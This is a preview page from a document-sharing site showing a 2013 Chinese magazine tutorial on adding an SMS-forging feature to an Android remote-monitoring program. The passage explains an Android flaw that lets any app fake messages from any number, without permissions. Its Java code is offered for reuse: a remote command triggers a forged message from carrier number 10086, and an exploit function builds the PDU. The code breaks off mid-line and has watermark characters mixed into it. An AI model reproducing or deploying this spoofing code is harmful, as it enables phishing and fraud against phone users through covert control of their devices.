网站大量收购闲置独家精品文档,联系QQ:2885784924

Android远程监控系统设计之伪造短信详解.PDF

Android远程监控系统设计之伪造短信详解.PDF

  1. 1、本文档共3页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
2013 年第6 期 Android 远程监控系统设计之伪造短信 文/ 图 秦妮 通过前一篇文章,大家已经基本了解了远程监控的框架,在该框架上增加功能也是比较 简单的,添加的方法分为如下几步:添加权限、判断指令、指令功能实现。 本文将介绍一个20 12 年底北卡罗莱纳州立大学蒋旭宪教授领导的团队发布的Android 系统所有版本中存在的安全漏洞,任何应用软件不需要任何权限(包括不需要读写短信的权 限)都可以在系统中伪造任意号码发来的任何内容的短信或彩信,从而可能引发进一步的钓 鱼攻击。Google 已经确认了这一漏洞的存在。 这个漏洞的效果就是当程序运行时,可以在本机上伪造任意号码任意内容的短信,在钓 鱼和诈骗中比较常见。首先按照添加功能的方法进行代码编写,第一步是添加权限,该漏洞 不需要任何权限,因此这步可省。第二步判断指令,可在源代码中添加如下代码: if(message.toLowerCase().contains(duanxin)){ createFakeSms (this.getApplicationContext(),10086,FakeSms); } 这段代码的意思是,当接收到指令“QN#duanxin”时,调用createFakeSms 函数, 会在本机伪造一条收到来自10086 的短信,短信内容是“FakeSms”。这里可将要伪造的短 信号码及内容换成自己需要的。 处 第三步,指令功能实现。这一步比较简单,因为已经有大牛写好了利用代码,我们只要 线 稍加改动就可以拿来使用了,具体代码如下: 出 防 private static void createFakeSms(Context context, String sender, String 明 body) { 客 byte[] pdu = null; 注 byte[] scBytes = PhoneNumberUtils 黑.networkPortionToCalledPartyBCD (0000000000); 请 byte[] senderBytes = PhoneNumberUtils .networkPortionToCalledPartyBCD (sender); 载 int lsmcs = scBytes.length; byte[] dateBytes = new byte[7]; Calendar calendar = new GregorianCalendar(); 转 dateBytes[0] = reverseByte ((byte) (calendar.get(Calendar.YEAR))); dateBytes[1] = reverseByte ((byte) (calendar.get(Calendar.MONTH ) + 1)); dateBytes[2] = reverseByte ((byte) (calendar.get(Calendar.DAY_OF_MONTH ))); dateBytes[3] = reverseByte ((byte) (calendar.get(Calendar.HOUR_OF_DAY ))); dateBytes[4] = reverseByte ((byt

您可能关注的文档

文档评论(0)

***** + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档